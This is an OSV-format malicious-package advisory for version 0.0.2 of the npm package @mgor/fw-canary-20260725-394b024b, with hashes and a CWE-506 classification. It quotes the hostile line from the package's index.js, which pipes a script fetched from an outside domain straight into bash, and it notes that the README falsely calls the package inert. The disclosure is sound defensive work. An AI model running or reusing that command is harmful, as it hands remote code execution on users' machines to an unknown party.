{"id":"MAL-2026-12321","summary":"Malicious code in @mgor/fw-canary-20260725-394b024b (npm)","details":"\n---\n_-= Per source details. Do not edit below this line.=-_\n\n## Source: amazon-inspector (80e828a7ffd0138db85154b49b584df253be1e6509a0a4aa6475bfe317510f37)\nindex.js, the package's declared main entry point, unconditionally executes `curl fewafw.hydege.me | /bin/bash` at top level. Any consumer that requires or imports this package fetches an unpinned, unverified shell script from a non-first-party domain and pipes it into bash, yielding arbitrary code execution on the installer's host. The package.json description and README self-label the package as an inert security-test canary with no install scripts and no functionality, directly contradicting the actual code behavior — a deceptive cover story.\n","modified":"2026-08-05T13:35:11.003990834Z","published":"2026-08-05T13:03:32Z","database_specific":{"malicious-packages-origins":[{"source":"amazon-inspector","versions":["0.0.2"],"id":"IN-MAL-2026-014865","import_time":"2026-08-05T13:08:51.874120612Z","modified_time":"2026-08-05T13:03:32Z","sha256":"80e828a7ffd0138db85154b49b584df253be1e6509a0a4aa6475bfe317510f37"}]},"references":[{"type":"PACKAGE","url":"https://www.npmjs.com/package/@mgor/fw-canary-20260725-394b024b/v/0.0.2"}],"affected":[{"package":{"name":"@mgor/fw-canary-20260725-394b024b","ecosystem":"npm","purl":"pkg:npm/%40mgor/fw-canary-20260725-394b024b"},"versions":["0.0.2"],"database_specific":{"cwes":[{"description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code","cweId":"CWE-506"}],"indicators":{"evidence_files":[{"sha256":"43b5cbde57b8e21fd2b3e8b1c105c20113a81817f29fcdfe94d02c5e7cfc2710","tlsh":"64f0c0041cf2627382a954b16a579d47238bf541123dd8bae897036857c5b008f433f6","path":"index.js"}],"package_integrity":[{"filename":"fw-canary-20260725-394b024b-0.0.2.tgz","hashes":{"sha512_sri":"sha512-WnZjUJ45GpwiRS+SfYKdqoNzzdTRHAl1gQa4LQfP/c+r2VQNa+lqxK3dCjVRd6MwL72UgJ4H9lxX2M9s2WJ+JQ==","sha1":"ccf216e94ab7ba274242bd847f5a353c61418f25"}}]},"source":"https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/@mgor/fw-canary-20260725-394b024b/MAL-2026-12321.json"}}],"schema_version":"1.8.0","credits":[{"name":"Amazon Inspector","contact":["inspector-research@amazon.com"],"type":"FINDER"}]}